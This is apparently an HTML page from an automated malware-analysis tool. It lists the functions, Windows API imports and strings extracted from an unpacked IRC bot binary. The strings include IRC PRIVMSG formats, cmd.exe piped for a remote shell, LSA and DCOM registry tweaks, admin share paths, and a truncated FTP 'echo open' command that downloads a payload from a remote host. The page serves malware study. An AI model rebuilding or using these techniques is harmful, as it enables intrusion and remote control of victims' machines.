<font color=brown></font></pre></td></tr><tr id="sub_41524C"><td><pre><a name="sub_41524C"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41524C"><font size=+2>sub_41524C</a>(dc5b)</font>:<font color=brown>
"A:\\"
</font></pre></td></tr><tr id="sub_417DB1"><td><pre><a name="sub_417DB1"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_417DB1"><font size=+2>sub_417DB1</a>(dcb6)</font>:<font color=brown>
"Software\\Microsoft\\OLE"
"EnableDCOM"
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
"restrictanonymous"
</font></pre></td></tr><tr id="sub_433B90"><td><pre><a name="sub_433B90"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_433B90"><font size=+2>sub_433B90</a>(e063)</font>:<font color=darkgreen>
KERNEL32.GetStringTypeW
KERNEL32.GetStringTypeA
KERNEL32.WideCharToMultiByte</font>
<font color=brown></font></pre></td></tr><tr id="sub_40A019"><td><pre><a name="sub_40A019"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40A019"><font size=+2>sub_40A019</a>(e076)</font>:<font color=brown>
"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_41BC90"><td><pre><a name="sub_41BC90"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41BC90"><font size=+2>sub_41BC90</a>(e108)</font>:<font color=brown>
"string != NULL"
"fgets.c"
"fgets.c"
</font></pre></td></tr><tr id="sub_41DEA0"><td><pre><a name="sub_41DEA0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41DEA0"><font size=+2>sub_41DEA0</a>(e16d)</font>:<font color=darkgreen>
KERNEL32.GetFileAttributesA
NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_41226E"><td><pre><a name="sub_41226E"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41226E"><font size=+2>sub_41226E</a>(e17c)</font>:<font color=darkgreen>
KERNEL32.ExitThread
KERNEL32.GetTickCount</font>
<font color=brown></font></pre></td></tr><tr id="sub_40FBF0"><td><pre><a name="sub_40FBF0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40FBF0"><font size=+2>sub_40FBF0</a>(e1a1)</font>:<font color=brown>
"%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
</font></pre></td></tr><tr id="sub_423C10"><td><pre><a name="sub_423C10"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_423C10"><font size=+2>sub_423C10</a>(e283)</font>:<font color=darkgreen>
KERNEL32.TlsAlloc
KERNEL32.TlsSetValue
KERNEL32.GetCurrentThreadId</font>
<font color=brown>
"tidtable.c"
</font></pre></td></tr><tr id="sub_4338F0"><td><pre><a name="sub_4338F0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4338F0"><font size=+2>sub_4338F0</a>(e311)</font>:<font color=darkgreen>
NTDLL.RtlGetLastWin32Error</font>
<font color=brown>
"inithelp.c"
"inithelp.c"
</font></pre></td></tr><tr id="sub_4102D1"><td><pre><a name="sub_4102D1"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4102D1"><font size=+2>sub_4102D1</a>(e3c8)</font>:<font color=darkgreen>
KERNEL32.ExitThread
NTDLL.RtlGetLastWin32Error</font>
<font color=brown>
"Permission denied\n"
</font></pre></td></tr><tr id="sub_417B99"><td><pre><a name="sub_417B99"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_417B99"><font size=+2>sub_417B99</a>(e3f8)</font>:<font color=darkgreen>
KERNEL32.CreatePipe
KERNEL32.GetCurrentProcess
KERNEL32.DuplicateHandle
KERNEL32.CreateProcessA
KERNEL32.CloseHandle
KERNEL32.CreateThread
NTDLL.RtlGetLastWin32Error</font>
<font color=brown>
"cmd.exe"
</font></pre></td></tr><tr id="sub_417935"><td><pre><a name="sub_417935"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_417935"><font size=+2>sub_417935</a>(e5de)</font>:<font color=darkgreen>
KERNEL32.Sleep</font>
<font color=brown></font></pre></td></tr><tr id="sub_426420"><td><pre><a name="sub_426420"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_426420"><font size=+2>sub_426420</a>(e6a3)</font>:<font color=darkgreen>
KERNEL32.RaiseException</font>
<font color=brown></font></pre></td></tr><tr id="sub_40BF30"><td><pre><a name="sub_40BF30"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40BF30"><font size=+2>sub_40BF30</a>(e730)</font>:<font color=darkgreen>
KERNEL32.CreateThread
KERNEL32.Sleep
KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_41EB60"><td><pre><a name="sub_41EB60"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41EB60"><font size=+2>sub_41EB60</a>(e7c8)</font>:<font color=darkgreen>
KERNEL32.ExitProcess</font>
<font color=brown></font></pre></td></tr><tr id="sub_42C9F0"><td><pre><a name="sub_42C9F0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42C9F0"><font size=+2>sub_42C9F0</a>(ea10)</font>:<font color=darkgreen>
KERNEL32.WideCharToMultiByte</font>
<font color=brown></font></pre></td></tr><tr id="sub_40EB56"><td><pre><a name="sub_40EB56"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40EB56"><font size=+2>sub_40EB56</a>(eaa6)</font>:<font color=darkgreen>
KERNEL32.GetModuleFileNameA
WS2_32.send
KERNEL32.Sleep
WS2_32.closesocket
WS2_32.WSACleanup</font>
<font color=brown>
"rb"
</font></pre></td></tr><tr id="sub_4165B5"><td><pre><a name="sub_4165B5"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4165B5"><font size=+2>sub_4165B5</a>(ec5e)</font>:<font color=darkgreen>
KERNEL32.GetTickCount</font>
<font color=brown></font></pre></td></tr><tr id="sub_42C100"><td><pre><a name="sub_42C100"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42C100"><font size=+2>sub_42C100</a>(ecaa)</font>:<font color=darkgreen>
KERNEL32.GetStringTypeW
KERNEL32.GetStringTypeA
KERNEL32.MultiByteToWideChar</font>
<font color=brown></font></pre></td></tr><tr id="sub_435F60"><td><pre><a name="sub_435F60"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_435F60"><font size=+2>sub_435F60</a>(ed95)</font>:<font color=darkgreen>
KERNEL32.RaiseException</font>
<font color=brown></font></pre></td></tr><tr id="sub_41458A"><td><pre><a name="sub_41458A"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41458A"><font size=+2>sub_41458A</a>(edda)</font>:<font color=darkgreen>
KERNEL32.GetLocalTime</font>
<font color=brown>
"[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
</font></pre></td></tr><tr id="sub_41E550"><td><pre><a name="sub_41E550"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41E550"><font size=+2>sub_41E550</a>(ef27)</font>:<font color=darkgreen>
KERNEL32.InterlockedIncrement
KERNEL32.InterlockedDecrement</font>
<font color=brown></font></pre></td></tr><tr id="sub_41FFC0"><td><pre><a name="sub_41FFC0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41FFC0"><font size=+2>sub_41FFC0</a>(f07d)</font>:<font color=darkgreen>
NTDLL.RtlFreeHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_40C3D0"><td><pre><a name="sub_40C3D0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40C3D0"><font size=+2>sub_40C3D0</a>(f1cc)</font>:<font color=brown>
"BBBB"
"CCCC"
</font></pre></td></tr><tr id="sub_40A868"><td><pre><a name="sub_40A868"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40A868"><font size=+2>sub_40A868</a>(f21d)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_42AB10"><td><pre><a name="sub_42AB10"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42AB10"><font size=+2>sub_42AB10</a>(f336)</font>:<font color=darkgreen>
KERNEL32.GetStdHandle
KERNEL32.WriteFile
KERNEL32.GetModuleFileNameA</font>
<font color=brown>
"<program name unknown>"
"..."
"Runtime Error!\n\nProgram: "
"\n\n"
"Microsoft Visual C++ Runtime Library"
</font></pre></td></tr><tr id="sub_40DFCC"><td><pre><a name="sub_40DFCC"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40DFCC"><font size=+2>sub_40DFCC</a>(f386)</font>:<font color=darkgreen>
KERNEL32.ReadFile</font>
<font color=brown></font></pre></td></tr><tr id="sub_410EE4"><td><pre><a name="sub_410EE4"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_410EE4"><font size=+2>sub_410EE4</a>(f519)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_41C6A0"><td><pre><a name="sub_41C6A0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41C6A0"><font size=+2>sub_41C6A0</a>(f534)</font>:<font color=brown>
"string != NULL"
"vsprintf.c"
"format != NULL"
"vsprintf.c"
</font></pre></td></tr><tr id="sub_4180D5"><td><pre><a name="sub_4180D5"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4180D5"><font size=+2>sub_4180D5</a>(f615)</font>:<font color=darkgreen>
KERNEL32.GetLogicalDrives</font>
<font color=brown>
"Software\\Microsoft\\OLE"
"EnableDCOM"
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
"restrictanonymous"
"%c$"
"%c:\\"
</font></pre></td></tr><tr id="sub_420300"><td><pre><a name="sub_420300"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_420300"><font size=+2>sub_420300</a>(f62a)</font>:<font color=darkgreen>
KERNEL32.VirtualFree
NTDLL.RtlFreeHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_408EB9"><td><pre><a name="sub_408EB9"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_408EB9"><font size=+2>sub_408EB9</a>(f685)</font>:<font color=darkgreen>
KERNEL32.Sleep</font>
<font color=brown>
"PRIVMSG"
"%s"
"%s %s :%s\r\n"
</font></pre></td></tr><tr id="sub_4179BD"><td><pre><a name="sub_4179BD"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4179BD"><font size=+2>sub_4179BD</a>(f806)</font>:<font color=darkgreen>
KERNEL32.Sleep</font>
<font color=brown>
"PRIVMSG %s :%s\r"
"%s"
</font></pre></td></tr><tr id="sub_422970"><td><pre><a name="sub_422970"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_422970"><font size=+2>sub_422970</a>(f9ac)</font>:<font color=darkgreen>
KERNEL32.InitializeCriticalSection
NTDLL.RtlEnterCriticalSection</font>
<font color=brown>
"stream.c"
</font></pre></td></tr><tr id="sub_415639"><td><pre><a name="sub_415639"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_415639"><font size=+2>sub_415639</a>(fa09)</font>:<font color=darkgreen>
KERNEL32.CreateThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_422D70"><td><pre><a name="sub_422D70"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_422D70"><font size=+2>sub_422D70</a>(fa9d)</font>:<font color=brown>
"ch != _T('\\0')"
"output.c"
</font></pre></td></tr><tr id="sub_40E203"><td><pre><a name="sub_40E203"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40E203"><font size=+2>sub_40E203</a>(faa3)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown>
"echo open %s %d >> o&echo user 1 >>o &e"...
</font></pre></td></tr><tr id="sub_412F42"><td><pre><a name="sub_412F42"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_412F42"><font size=+2>sub_412F42</a>(fb3d)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_412FE3"><td><pre><a name="sub_412FE3"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_412FE3"><font size=+2>sub_412FE3</a>(fcb9)</font>:<font color=darkgreen>
KERNEL32.GetTickCount</font>
<font color=brown></font></pre></td></tr><tr id="sub_4306C0"><td><pre><a name="sub_4306C0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4306C0"><font size=+2>sub_4306C0</a>(fd72)</font>:<font color=darkgreen>
KERNEL32.GetUserDefaultLCID</font>
<font color=brown></font></pre></td></tr><tr id="sub_42B9F0"><td><pre><a name="sub_42B9F0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42B9F0"><font size=+2>sub_42B9F0</a>(ff1c)</font>:<font color=darkgreen>
KERNEL32.SetStdHandle</font>
<font color=brown></font></pre></td></tr></table><script>
document.getElementById(window.location.href.split('#')[1]).setAttribute("style", "background-color:#ddddff");
</script>
</html> |